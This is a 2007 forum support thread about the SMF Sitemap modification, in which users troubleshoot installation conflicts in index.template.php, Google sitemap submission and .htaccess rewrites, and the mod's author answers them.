Unsupported file format
Your Sitemap does not appear to be in a supported format. Please ensure it meets our Sitemap guidelines and resubmit.  help pls..

2. why is this mod not included in this list? http://code.google.com/sm_thirdparty.html


3.  Anybody who have used google sitemap generator?
Title: Re: SMF Sitemap
Post by: SlammedDime on August 03, 2007, 03:46:42 AM
1. You're using the wrong link.  Go to your sitemap and scroll to the bottom, click/copy the XML link.  Thats what you need to submit to google.

2. Because I've never added.

3. I don't understand... this mod does that if you click the XML link.
Title: Re: SMF Sitemap
Post by: cru on August 03, 2007, 09:02:03 AM
here's the url to my sitemap

http://petfinderko.net/index.php?action=sitemap

and this is what is pasted: index.php?action=sitemap

what could be wrong with that? maybe this is what "ekfaysal" was experiencing too..

actually i get no errors submitting it. but when i come back and see the sitemap status, i see the error. try to check your sitemap status under webmaster tools matt, i would like to know what's written there...
Title: Re: SMF Sitemap
Post by: SlammedDime on August 03, 2007, 02:56:41 PM
Mine works just fine.  It has since I released this mod.  Like I said, you're using the wrong link.  Again, go to your sitemap, scroll to the bottom, click/copy the XML link.  That is what you need to submit to google.

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fgallery.mattzuba.com%2Fd%2F2672-1%2FXML.gif&hash=c1ae3f85ac8c60f8f66f7826210ce63c5ef9b7d5)

If you are logged out and haven't enabled non-admins to see that link, it won't be visible.  Logged in as an admin, it is always visible.
Title: Re: SMF Sitemap
Post by: cru on August 04, 2007, 05:20:00 AM
THANKS SO MUCH MATT! IT WORKED!!!!  8) 8) 8) 8)

how often should we resubmit the sitemap to google? for a forum like smf?
Title: Re: SMF Sitemap
Post by: BeoR on August 04, 2007, 10:59:25 PM
Hello Matt, I'm having problems with the "Max number of topics to display in sitemap" option. No matter how much I set it to (aside from 0), it gives me 716 pages worth of topics. The problem is, I don't have that much topics so it gives an error.

http://www.istorya.net/forums/index.php?action=sitemap
Title: Re: SMF Sitemap
Post by: SlammedDime on August 05, 2007, 03:48:13 AM
What is the error in your error log?  Also, what do you have 'Max Number of topics to display...' set as?  Edit: I was able to easily replicate this.  I should have tested this on a site with a few thousand posts.  I'll fix the error and upload a new version.  Sorry.

cru, Never.  Once you have it in, google will automatically check it every so often.
Title: Re: SMF Sitemap
Post by: SlammedDime on August 05, 2007, 04:37:03 AM
Ok, I've updated it to 1.2.1.  To upgrade, simply upload the new package, apply it, then delete the 1.2.0 version.
Title: Re: SMF Sitemap
Post by: BeoR on August 05, 2007, 10:30:15 PM
Thanks Matt! ^^
Title: Re: SMF Sitemap
Post by: cru on August 06, 2007, 10:30:43 AM
matt, does this work with tinyportal installed?
Title: Re: SMF Sitemap
Post by: SlammedDime on August 06, 2007, 01:53:09 PM
It should.  I don't see why it wouldn't.
Title: Re: SMF Sitemap
Post by: TrueSatan on August 06, 2007, 05:06:47 PM
I use it in a TP site (or several), it works without problems...thanks Matt!
Title: Re: SMF Sitemap
Post by: SlammedDime on August 06, 2007, 05:12:22 PM
:)
Title: Re: SMF Sitemap
Post by: ApplianceJunk on August 11, 2007, 09:01:11 AM
Hi,

What a great mod, thanks!

Everything installed ok.
I added this index.php?action=sitemap;xml as a site map to ApplianceJunk.com/forums/ in my google webmaster tools.

I then get this message.

You have added a Sitemap to http://appliancejunk.com/forums/. Reports may take several hours to update. Thank you for your patience!

So everything seems good to go.

One question I have is if my site maps is complete.
Your mod just creates my site map for me, correct?
Ok, two questions.
Do I ever have to update my site map?

I thought before installing I would have to create the site map by adding pages, but when I click the site map link at the bottom of my page the map seems to already have been create.

If this is the case, your mod is awesome!

Much easier then what I was reading on google webmaster tools on how to create a site map. :)

Thanks,
Title: Re: SMF Sitemap
Post by: ApplianceJunk on August 11, 2007, 09:20:40 AM
update from google webmaster tools.

Sitemap:    index.php?action=sitemap;xml
Type:       Sitemap
Submitted:  Web

Last Downloaded:  22 minutes ago  19 minutes
Sitemap Status:   OK
URLs submitted:   70

Awesome!!
Title: Re: SMF Sitemap
Post by: Touti on August 12, 2007, 10:57:42 AM
I'm getting an error while trying to install.  I have the same problem with every mod because one of them screwed up with Themes\default\index.template.php.

If I want to continue with the installation, what do I have to change in that file after and in my other themes ?
Title: Re: SMF Sitemap
Post by: TrueSatan on August 12, 2007, 11:40:28 AM
Your best solution is probably to get a fresh copy of index.template.php from the SMF installation package and then edit into it manually any and all of your mods that affect it. then try this mod and any others you wish to add again.

The following will help explain the manual installation process...please read:

http://docs.simplemachines.org/index.php?topic=402.msg531#msg531 (http://docs.simplemachines.org/index.php?topic=402.msg531#msg531)

http://www.simplemachines.org/community/index.php?topic=34526.0 (http://www.simplemachines.org/community/index.php?topic=34526.0)

The following may also prove helpful:

http://modparser.dev.dansoftaustralia.net/ (http://modparser.dev.dansoftaustralia.net/)


Title: Re: SMF Sitemap
Post by: Reis_TÜRK on August 12, 2007, 03:00:12 PM
thanks.
Title: Re: SMF Sitemap
Post by: cru on August 13, 2007, 06:45:47 AM
SMF1.1.3 default theme

1. hi, i had this mod installed on my site , and everything went well. After installing Tiny Portal MANUALLY, i have deleted the part where it should echo the sitemap link beside the SMF copyright stuff (since manual installation of tinyportal needs replacing codes on index.template.php)

2. how can i put it back there? i know this seems easy but i don't know what to insert, and where. here's part of the code...
<table cellspacing="0" cellpadding="3" border="0" align="center" width="100%">
<tr>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'right' : 'left', '">
<a href="http://www.mysql.com/" target="_blank"><img id="powered-mysql" src="', $settings['images_url'], '/powered-mysql.gif" alt="', $txt['powered_by_mysql'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
<a href="http://www.php.net/" target="_blank"><img id="powered-php" src="', $settings['images_url'], '/powered-php.gif" alt="', $txt['powered_by_php'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
</td>
<td valign="middle" align="center" style="white-space: nowrap;" class="smalltext">
                                        ', theme_copyright(), ' <br />', tportal_version() , '
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
<a href="http://validator.w3.org/check/referer" target="_blank"><img id="valid-xhtml10" src="', $settings['images_url'], '/valid-xhtml10.gif" alt="', $txt['valid_xhtml'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
<a href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank"><img id="valid-css" src="', $settings['images_url'], '/valid-css.gif" alt="', $txt['valid_css'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
</td>
</tr>
</table>';


TIA!
Title: Re: SMF Sitemap
Post by: SlammedDime on August 13, 2007, 02:59:55 PM
<table cellspacing="0" cellpadding="3" border="0" align="center" width="100%">
<tr>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'right' : 'left', '">
<a href="http://www.mysql.com/" target="_blank"><img id="powered-mysql" src="', $settings['images_url'], '/powered-mysql.gif" alt="', $txt['powered_by_mysql'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
<a href="http://www.php.net/" target="_blank"><img id="powered-php" src="', $settings['images_url'], '/powered-php.gif" alt="', $txt['powered_by_php'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
</td>
<td valign="middle" align="center" style="white-space: nowrap;" class="smalltext">
                                        ', theme_copyright(), '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span> <br />', tportal_version() , '
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
<a href="http://validator.w3.org/check/referer" target="_blank"><img id="valid-xhtml10" src="', $settings['images_url'], '/valid-xhtml10.gif" alt="', $txt['valid_xhtml'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
<a href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank"><img id="valid-css" src="', $settings['images_url'], '/valid-css.gif" alt="', $txt['valid_css'], '" width="54" height="20" style="margin: 5px 16px;" onmouseover="smfFooterHighlight(this, true);" onmouseout="smfFooterHighlight(this, false);" /></a>
</td>
</tr>
</table>';
Title: Re: SMF Sitemap
Post by: cru on August 13, 2007, 08:09:07 PM
thanks matt! it was so easy to upgrade to your latest version too!
Title: Re: SMF Sitemap
Post by: Touti on August 14, 2007, 09:10:50 AM
Quote from: TrueSatan on August 12, 2007, 11:40:28 AM
Your best solution is probably to get a fresh copy of index.template.php from the SMF installation package and then edit into it manually any and all of your mods that affect it. then try this mod and any others you wish to add again.

The following will help explain the manual installation process...please read:

http://docs.simplemachines.org/index.php?topic=402.msg531#msg531 (http://docs.simplemachines.org/index.php?topic=402.msg531#msg531)

http://www.simplemachines.org/community/index.php?topic=34526.0 (http://www.simplemachines.org/community/index.php?topic=34526.0)

The following may also prove helpful:

http://modparser.dev.dansoftaustralia.net/ (http://modparser.dev.dansoftaustralia.net/)





That's probably the best solution because it's becoming quite annoying.  Almost every thing I try to install gives me that problem. 

Thanks for the suggestion.  In the meantime, I installed the sitemap mod despire the warning, edited the index.template.php file manually and it works great.

Suggestion for the programmers of SMF:  It would be very useful if the error message gave us a hint as to why the installatin of a mod fails.
Title: Re: SMF Sitemap
Post by: Aileen on August 22, 2007, 08:49:05 AM
Is this a dynamic sitemap?
Title: Re: SMF Sitemap
Post by: SlammedDime on August 22, 2007, 11:11:38 AM
Yes.
Title: Re: SMF Sitemap
Post by: Webrunner on August 24, 2007, 08:20:32 AM
I am using SEO4SMF.
Is this sitemap mod for me?
Title: Re: SMF Sitemap
Post by: SlammedDime on August 24, 2007, 01:01:23 PM
This will not work properly with seo4smf.  That is, it won't give you the sef urls.  seo4smf includes a sitemap last I saw.
Title: Re: SMF Sitemap
Post by: Webrunner on August 24, 2007, 06:22:40 PM
you are right, i just submitted it to Google :)
Thanks!
Title: Re: SMF Sitemap
Post by: slackerpunk on August 25, 2007, 07:37:42 PM
i tried install this but it gave me an error and recommended not to install something about the index.template.php file which I modded for ad management to work properly for the theme I am using. I tried installing seo4smf and it installed fine and worked by. just a question though what is the main difference?
Title: Re: SMF Sitemap
Post by: SlammedDime on August 26, 2007, 04:04:49 AM
SEO4SMF and this have only one thing in common, they both provide sitemaps.... the main difference is that this is only a sitemap... seo4smf is much much much more.

As for your error, you could have simply applied the modification manually.  If you got an error on index.template.php, then your copyright code placement in that template has changed from the base SMF version.
Title: Re: SMF Sitemap
Post by: DooDoo on September 03, 2007, 12:59:06 PM
I got an error from google.

Errors

Line:
2615
Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting

Warnings 
Line:
2615
Invalid date
An invalid date was found. Please fix the date or formatting before resubmitting

my site url is
http://fengshui.herb108.com/forum/index.php?action=sitemap;xml


would you please kindly advise how to solve it.

many thanks in advance.
Title: Re: SMF Sitemap
Post by: SlammedDime on September 03, 2007, 11:53:33 PM
My guess is that due to the slow loading of your site (from my perspective, and probably googles as well), the full page wasn't loaded before google checked it for errors, or google closed the connection and didn't get the whole page, thus the error.  Your sitemap loads fine and there aren't any errors in it.  If there was an error with one date, there would be an error with all, as they're all run through the same function.
Title: Re: SMF Sitemap
Post by: DooDoo on September 05, 2007, 01:27:59 AM
Hi SlammedDime

Thanks for your advise. I will try to test and improve to slove it.
Title: Re: SMF Sitemap
Post by: John S on September 10, 2007, 11:28:40 PM
"STARTED BY" displays members real names, not their display name (the one they can change from their profile)

how can we change this so that whatever the current 'display name' is, is shown in the 'started by' coloumn?

also, i realise that it shows the name of the user when they posted that particular topic, but if that same person changes their name it still shows their old name (as when they posted it)

can we have the started by to display the CURRENT display name for each member? thanks
Title: Re: SMF Sitemap
Post by: Neorics on September 16, 2007, 02:17:46 PM
installation error on index.template.php
i'm using the following mods

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimg160.imageshack.us%2Fimg160%2F7602%2Fmodsbz9.jpg&hash=d6804d46c1aa3164b89868bf200fedbada5a6eaa)

can i get the manual code just for the index.template.php?
Title: Re: SMF Sitemap
Post by: ortiz on September 20, 2007, 10:04:04 AM
Hi all

im really interested in your mod because we have a smf forum with low level of traffic and have a sitemap will be a little help.

But i haven't great experience with a smf and im having some troubles to install.

I can't install through SMF administration panel, returns me an ftp error all time. then i try to installa manually, but i have some doubts.

Can you explain a little bit the installation?  O:)

Thanks a lot  :)
Title: Re: SMF Sitemap
Post by: TrueSatan on September 20, 2007, 11:09:33 AM
You may find the following links to official SMF documentation and the SMF package parser will give the answers you need:

Please read:

http://docs.simplemachines.org/index.php?topic=402.msg531#msg531 (http://docs.simplemachines.org/index.php?topic=402.msg531#msg531)

http://www.simplemachines.org/community/index.php?topic=34526.0 (http://www.simplemachines.org/community/index.php?topic=34526.0)

The following may also prove helpful:

http://modparser.dev.dansoftaustralia.net/ (http://modparser.dev.dansoftaustralia.net/)

Mirror of the last link:

http://www.smfhacks.com/smf-package-parser.html (http://www.smfhacks.com/smf-package-parser.html)
Title: Re: SMF Sitemap
Post by: Neorics on September 20, 2007, 11:43:37 AM
take not this mod isnt working for package manager
Title: Re: SMF Sitemap
Post by: SlammedDime on September 20, 2007, 12:34:25 PM
Neorics, it works just fine in the package manager, you just have another mod that has already changed part of index.template.php that this changes.  You can use the package parser above that TrueSatan linked to to see what template changes are made, then make them accordingly in your index.template.php file.
Title: Re: SMF Sitemap
Post by: SlammedDime on September 20, 2007, 12:41:57 PM
JohnS - I will take a look at this and get back to you.  The SQL query would need to be changed a bit, but it shouldn't be too difficult.
Title: Re: SMF Sitemap
Post by: helloall on September 27, 2007, 06:50:23 PM
Hello,

I tried to install your sitemap mod 1.2.1 on an 1.1.4 installation (without others modifications).
It installed without errors but I can't use the ?action=sitemap command, so I tried to uninstall it but I get:

Installing this package will perform the following actions:
   Type    Action    Description
1.    Execute Modification    ./index.php    Test failed
2.    Execute Modification    ./Sources/ModSettings.php    Test failed
3.    Execute Modification    ./Themes/default/index.template.php    Test failed
4.    Execute Modification    ./Themes/default/languages/Help.english.php    Test failed
5.    Execute Modification    ./Themes/default/languages/Modifications.english.php    Test failed
6.    Execute Modification    ./Themes/default/languages/Who.english.php    Test failed
7.    Execute Modification    ./Themes/default/style.css    Test failed
8.     Delete File     ./Sources/Sitemap.php     
9.    Delete File    ./Themes/default/Sitemap.template.php

I can also see this in the logs:

fclose(): supplied argument is not a valid stream resource
File: /PATH-TO-SMF/Sources/Subs-Package.php
Line: 1908

Can you please give me an advice on how I can deinstall the mod?
It modified the database or only the files?
I have a complete backup of the files prior of the mod installation.


Thank you very much.
Title: Re: SMF Sitemap
Post by: SlammedDime on September 27, 2007, 11:19:14 PM
Have you been able to install any other mods?  It doesn't look like it ever really installed, even though it said it did.
Title: Re: SMF Sitemap
Post by: helloall on September 28, 2007, 07:07:12 AM
Quote from: SlammedDime on September 27, 2007, 11:19:14 PM
Have you been able to install any other mods?  It doesn't look like it ever really installed, even though it said it did.

It's a production forum and your mod is the first I have ever tried to install so I don't now.
In any case I have used  the http://modparser.dev.dansoftaustralia.net/ tool and I checked index.php, modsettings.php, index template.php and I can't find reference to the sitemap.
Also the files has the same sizes of my backup files so Yes it's seems that the mod has not been installed even if it say so.
Your mod made any other modifications other than what reported by the modparser tool? I'm afraid to have broken the production forum database :(
If there are no modifications to the db I have to uninstall it using the control panel and, just to be secure, reupload my backup files?

Thank you again for your time.
Title: Re: SMF Sitemap
Post by: SlammedDime on September 28, 2007, 01:09:29 PM
It doesn't change anything in the database, just adds some entries, so nothing would be wrong with simply leaving the db as is.  However, it would appear you have a file permissions error where SMF isn't able to modify your forum files to install mods for you.
Title: Re: SMF Sitemap
Post by: DooDoo on September 28, 2007, 02:15:31 PM
Quote from: DooDoo on September 05, 2007, 01:27:59 AM
Hi SlammedDime

Thanks for your advise. I will try to test and improve to slove it.

It seem error come from Google. It is OK now , without changing anything.

I would like to have one more question about location of xml link.

current xml link is www.mainsite.com/forum/index.php?action=sitemap;xml.

Could it be changed to www.mainsite.com/index.php?action=sitemap;xml because Google consider folder forum as a another website exclude it from main site.


Title: Re: SMF Sitemap
Post by: Neorics on September 28, 2007, 03:03:24 PM
thanks dude

i installed it but i get this error when i view the xml file

is it even an error? what do i need to do?


        This XML file does not appear to have any style information associated with it. The document tree is shown below.

my sit's xml link is

http://mysite.org/index.php?action=sitemap;xml

is that the correct link that i should send to google?
Title: Re: SMF Sitemap
Post by: SlammedDime on September 28, 2007, 10:59:09 PM
Thats not an error, just how firefox shows the XML.  That is the url you would send to google.
Title: Re: SMF Sitemap
Post by: Tidea on September 28, 2007, 11:20:54 PM
if that's so, how come it looks different than the preview in the OP?
Title: Re: SMF Sitemap
Post by: SlammedDime on September 29, 2007, 12:32:32 AM
DooDoo:
Quote from: SlammedDime on June 22, 2007, 05:29:12 PM
put the following in a .htaccess file in your root directory and see if it works for you... (or add to one that may already be there)

RewriteEngine on
RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml


Then navigate to http://www.mysite.com/sitemap.xml and you should see the same thing as if you went to http://www.mysite.com/forum/index.php?action=sitemap;xml.  If it does work, then you can simply submit http://www.mysite.com/sitemap.xml to google you should be set.

Tidea: I viewed my own xml sitemap (the example from the OP) in firefox and the top of the page shows the same thing that Neorics said.
Title: Re: SMF Sitemap
Post by: Neorics on September 29, 2007, 03:02:41 AM
aight thanks dude... i was wondering maybe i had to edit my custom theme's index.template.php or something
Title: Re: SMF Sitemap
Post by: Tidea on October 01, 2007, 04:43:55 AM
Question.  My site, www.project-tideas.com/ is a WP site, and has a WP-sitemap plugin.  Do I have to submit a different sitemap, I.e., using the index.php?...sitemap, for google?
Title: Re: SMF Sitemap
Post by: Tidea on October 01, 2007, 04:46:06 AM
Quote from: SlammedDime on September 29, 2007, 12:32:32 AM
DooDoo:
Quote from: SlammedDime on June 22, 2007, 05:29:12 PM
put the following in a .htaccess file in your root directory and see if it works for you... (or add to one that may already be there)

RewriteEngine on
RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml


Then navigate to http://www.mysite.com/sitemap.xml and you should see the same thing as if you went to http://www.mysite.com/forum/index.php?action=sitemap;xml.  If it does work, then you can simply submit http://www.mysite.com/sitemap.xml to google you should be set.

Tidea: I viewed my own xml sitemap (the example from the OP) in firefox and the top of the page shows the same thing that Neorics said.

I know, but the demo that you have in the OP.  My sitemap for the forum looks nothing like that.
Title: Re: SMF Sitemap
Post by: Neorics on October 01, 2007, 10:22:00 AM
i have a question, in the Features and Options there is an option whether to allow others to see the xml if i dont allow others to see the xml link will the bot be able to view it or do i have to enable .htaccess for the bot? or use robots.txt?
Title: Re: SMF Sitemap
Post by: SlammedDime on October 01, 2007, 04:18:56 PM
Tidea:  http://www.www.project-tideas.com/forum/index.php?action=sitemap looks pretty darned similar to http://www.airridetalk.com/forum/sitemap , aside from the aesthetic differences of the sites in general. Perhaps you can show me what you aren't understanding?  Likewise, http://www.www.project-tideas.com/forum/index.php?action=sitemap;xml looks similar to http://www.airridetalk.com/forum/sitemap/xml/xml/ , minus the difference in links.  And to answer your other question, yes, you must submit this sitemap too.  It would be quite obvious since your SMF content isn't showing up in your wordpress sitemap.

Neorics: The option is only to disable or enable the showing of the link for the sitemap, not for permission of actually viewing the sitemap, just as the option says.  Regardless of if you have this option enabled or not, the xml sitemap is still viewable by anyone, including Google. :)
Title: Re: SMF Sitemap
Post by: Neorics on October 02, 2007, 09:46:32 AM
ok cool thanks
Title: Re: SMF Sitemap
Post by: ortiz on October 02, 2007, 11:00:58 AM
Quote from: TrueSatan on September 20, 2007, 11:09:33 AM

The following may also prove helpful:

http://modparser.dev.dansoftaustralia.net/ (http://modparser.dev.dansoftaustralia.net/)


Hello again

this link helped me very much. But now i have an strange MySQL error. When I do "click" in "Sitemap" link, SMF returns me this error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 6
Archivo: [path to forum folder]/Sources/Sitemap.php
Línea: 40


I followed step by step install.xml. What can i do ?

Thanks
Title: Re: SMF Sitemap
Post by: Tidea on October 02, 2007, 08:10:09 PM
Quote from: SlammedDime on October 01, 2007, 04:18:56 PM
Tidea:  http://www.www.project-tideas.com/forum/index.php?action=sitemap looks pretty darned similar to http://www.airridetalk.com/forum/sitemap , aside from the aesthetic differences of the sites in general. Perhaps you can show me what you aren't understanding?  Likewise, http://www.www.project-tideas.com/forum/index.php?action=sitemap;xml looks similar to http://www.airridetalk.com/forum/sitemap/xml/xml/ , minus the difference in links.  And to answer your other question, yes, you must submit this sitemap too.  It would be quite obvious since your SMF content isn't showing up in your wordpress sitemap.


lol, weird, now it does look the same.  okay, good thing :D

Another question, do I submit just "index.php?action=sitemap" or "index.php?action=sitemap;xml"

And, is there a difference between having 2 www, and 1 www?
Title: Re: SMF Sitemap
Post by: mrgray on October 17, 2007, 08:49:52 AM
Installed and working with 1.1.4 and mesh_11 +TP

:)
Title: Re: SMF Sitemap
Post by: triple on November 01, 2007, 11:06:22 PM
well i aint a computer junky but i'm a little worried if that sitemap 1.2.1 is going to add all my threads inside my forum to googles index over time? thats my main question i got there...

the other confusing thing i was wondering about is when you click on the XML link to get the link,, why dont i see a protocol there at the top of the xml file??? do ya not need a protocol for the spider?

also, should a patch be applied over the 1.2.1 sitemap?

thats about all i have to ask,, answers would make me a happy spider lover!  ;D

you're doing good work slammeddime, i really dont know what id do without ya.
Title: Re: SMF Sitemap
Post by: SlammedDime on November 02, 2007, 04:56:11 AM
As I said in your other thread, a sitemap doesn't add anything to any search engines.  It simply lets them know of possible pages of your site to spider... it doesn't mean they will, or if they do, that they will add the page to their results.   Thats up to you do get good content for them to spider.

I'm not sure what you mean by a protocol... the XML sitemap is a standard google sitemap... unless you have a link to something different that I can look at.

There is no patch of any sorts for 1.2.1, at least not that I've ever made.

:)
Title: Re: SMF Sitemap
Post by: triple on November 02, 2007, 11:33:03 PM
okie slameddime.. this here was a copy and past from google..

  <?xml version="1.0" encoding="UTF-8"?>
  < urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
   < url>
    < loc>http://www.example.com/</loc>
    < lastmod>2005-01-01</lastmod>
    < changefreq>monthly</changefreq>
    < priority>0.8</priority>
   </url> 
  </urlset>


this was from https://www.google.com/webmasters/tools/docs/en/protocol.html

there they talk of the protocol..

i'm still a bit confused.. your clever response could save me over one month of wating!

so basicly you're saying googlebot want crawl me site?

i think ya doing great work man!

BTW, yesterdey i had google showing me 68 urls, today google is showing me 78. so is that spider food??
Title: Re: SMF Sitemap
Post by: SlammedDime on November 03, 2007, 04:26:14 AM
The `protocol` is nothing you need to worry yourself over.  A protocol is just a way of doing this.  Google wants sitemaps in a certain fashion, a certain protocol.  My mod conforms to that.

I'll see if I can explain a bit easier for you...

If you have a sitemap, you ARE NOT guaranteed to be in google's search results.
A sitemap ONLY  shows Google a list of pages that it CAN crawl, not that it WILL, or not that it will put into its results. 
Your site will only show in search results if the content of the pages is relevent to a search, and if you have little or no content in your topics, they won't show in the search.

However; having a sitemap typically DOES get you more pages in google's results, but its NOT a guarantee.

(notice and pay attention to the caps words, they are there for a reason. ;) )
Title: Re: SMF Sitemap
Post by: triple on November 03, 2007, 05:15:13 AM
after downloading your file to my desktop i seen the protocol!

i do appreciate you explaining that to me! that is what i was looking for....

now i will wonder no more...

you have did an awsome job with the smf sitemap,, you got my vote!!!  just keep on keepin on lol..  8)
Title: Re: SMF Sitemap
Post by: paradoxic on November 08, 2007, 07:46:55 PM
Mod is great, thanks!

I tried to submit it to Yahoo and Yahoo said it exceeded the max limit. I dont know much about sitemap and I just need some advice. Should I lower the limit in my SMF admin panel? Should I only lower it temporarily? Whats a good number to set the max URLs to?

Sorry for all the questions, I just need some general advice.
Title: Re: SMF Sitemap
Post by: SlammedDime on November 09, 2007, 02:17:51 AM
Thats something that no one can really give you advice about... Although if you need it on yahoo, then I'd find out what their limit is and set it to that.  If I remember right, it chooses the latest X topics, where X is the limit set in the admin panel, not the oldest X topics, so really, you can't go wrong settings it to Yahoo's preferences.
Title: Re: SMF Sitemap
Post by: OriginalP on November 10, 2007, 12:28:37 PM
Hi all,

i was trying to install this usefull modification when i encountered a problem

Quote
Installing this package will perform the following actions:
...
Execute Modification   ./Themes/default/index.template.php   Test failed

!! Error in Package Installation
At least one error was encountered during a test installation of this package. It is strongly recommended that you do not continue with installation unless you know what you are doing, and have made a backup very recently. This error may be caused by a conflict between the package you're trying to install and another package you have already installed, an error in the package, a package which requires another package that you don't have installed yet, or a package designed for another version of SMF.

what can i check to solve this problem?

thanks in advance
Title: Re: SMF Sitemap
Post by: SlammedDime on November 10, 2007, 04:14:34 PM
Some other mod has edited the area around the copyright of your board.  You would just have to open up index.template.php and edit the file manually to insert a link to the sitemap.
Title: Re: SMF Sitemap
Post by: OriginalP on November 12, 2007, 12:03:35 PM
Thank you very much, i have installed it manually and it seems to work very well
Title: Re: SMF Sitemap
Post by: winaje on November 16, 2007, 04:08:48 AM
Quote from: SlammedDime on November 10, 2007, 04:14:34 PM
Some other mod has edited the area around the copyright of your board.  You would just have to open up index.template.php and edit the file manually to insert a link to the sitemap.

Hi, please pardon a dummy who has had little sleep in 4 days (damn on-call) .  Where/what link to the sitemap would I be adding/editing please?
Title: Re: SMF Sitemap
Post by: Mick. on November 17, 2007, 07:16:56 PM
Very cool mod.   I used to use this script http://www.xml-sitemaps.com/ until i found your mod.
I had index.template.php trouble but the parser worked very well.

I resubmited to google with over 1,000 pages for sitemap.

Thanx Dime.  btw...nice site you have.  Been thinking on baggin' my ride.
Title: Re: SMF Sitemap
Post by: ortiz on November 20, 2007, 07:38:41 AM
Hello again

i dont understand what add_settings.php does, im using SMF Package Parser to install manually the mod and before to modify the smf files i read this sentence:

PHP script to execute: add_settings.php

What i must do with this file? :S

Sorry but im having many troubles to install the mod  :'(
Title: Re: SMF Sitemap
Post by: ortiz on November 20, 2007, 09:03:17 AM
Uh oh, finally i installed succesfully the mod.

Thanks :D
Title: Re: SMF Sitemap
Post by: SlammedDime on November 20, 2007, 01:43:42 PM
All you would have to do is upload that file to your SMF directory, run it, then delete it.  Thats it.
Title: Re: SMF Sitemap
Post by: ortiz on November 24, 2007, 05:58:15 AM
QuoteAlso included is the option to display an XML sitemap for use with Google Sitemaps.  On any of the sitemap pages, simply click the 'XML' link at the bottom for the XML version.  If you wish to submit your site to Google Sitemaps, you will need to use this link.  Google does not like SEF formatted URLs for the sitemap because it won't show the sitemap in the root directory.  Using the link as provided will.

Hi! Sitemap mod is working now but i have one more doubt. I don't see XML link in sitemap page. Did i forgot something?
Link to sitemap on forum (http://todoastrologia.es/?action=sitemap)

Thanks
Title: Re: SMF Sitemap
Post by: Mick. on November 24, 2007, 08:33:37 AM
I get these errors:

8: Undefined index: sitemap

on different line #'s
Title: Re: SMF Sitemap
Post by: SlammedDime on November 24, 2007, 11:45:15 AM
BlueDevil, what files and what lines?  If your custom theme has a Modifications.english.php file in its languages directory, you'll hae to add the text strings to that file as well.

Ortiz: As an admin, you'll always see the link if you are logged in.  If you are not logged in, and do not see it, then you haven't enabled it to be seen.  Also, just because it isn't seen, doesn't mean it isn't accessible. 
Title: Re: SMF Sitemap
Post by: Mick. on November 24, 2007, 12:03:37 PM
Errors:

8: Undefined index: sitemap
File: /home/midwesta/public_html/Sources/Sitemap.php
Line: 29


8: Undefined index: sitemap
File: /home/midwesta/public_html/Sources/Sitemap.php
Line: 22


8: Undefined index: sitemap_boards
File: /home/midwesta/public_html/Themes/default/Sitemap.template.php (Topics sub template - eval?)
Line: 131


8: Undefined index: sitemap
File: /home/midwesta/public_html/Themes/default/Sitemap.template.php (Boards sub template - eval?)
Line: 9



So far these 4 lines ::)
Title: Re: SMF Sitemap
Post by: SlammedDime on November 24, 2007, 02:32:47 PM
Yea, you're missing the language strings.  They need to be added Modifications.english.php in your custom themes language directory.
Title: Re: SMF Sitemap
Post by: Mick. on November 24, 2007, 03:47:33 PM
Yep. Is all good now.

I was missing this:

// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Show Sitemap XML link';
$txt['sitemap_topic_count'] = 'Max number of topics to display in sitemap';
$txt['sitemap_collapsible'] = 'Collapse child boards in sitemap';
Title: Re: SMF Sitemap
Post by: ortiz on November 25, 2007, 04:35:41 PM
Quote from: SlammedDime on November 24, 2007, 11:45:15 AM
Ortiz: As an admin, you'll always see the link if you are logged in.  If you are not logged in, and do not see it, then you haven't enabled it to be seen.  Also, just because it isn't seen, doesn't mean it isn't accessible. 

Thanks Slammed, you're right :) and congratulations by your mod, its very helpful.

Bye!
Title: Re: SMF Sitemap
Post by: Biff on November 28, 2007, 08:26:08 PM
Everything installed perfect and works great with the exception of one small issue.  smf is in forum directory, wordpress is in wordress directory. There is a .htacess file in my site root and again in my wordpress directory with

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

I can't figure out a way to include
RewriteEngine on
   RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml

If I change the one for wordpress and use yours the sitemap works with www.mysite.com/sitemap.xml  but not sure what that does to wordpress.

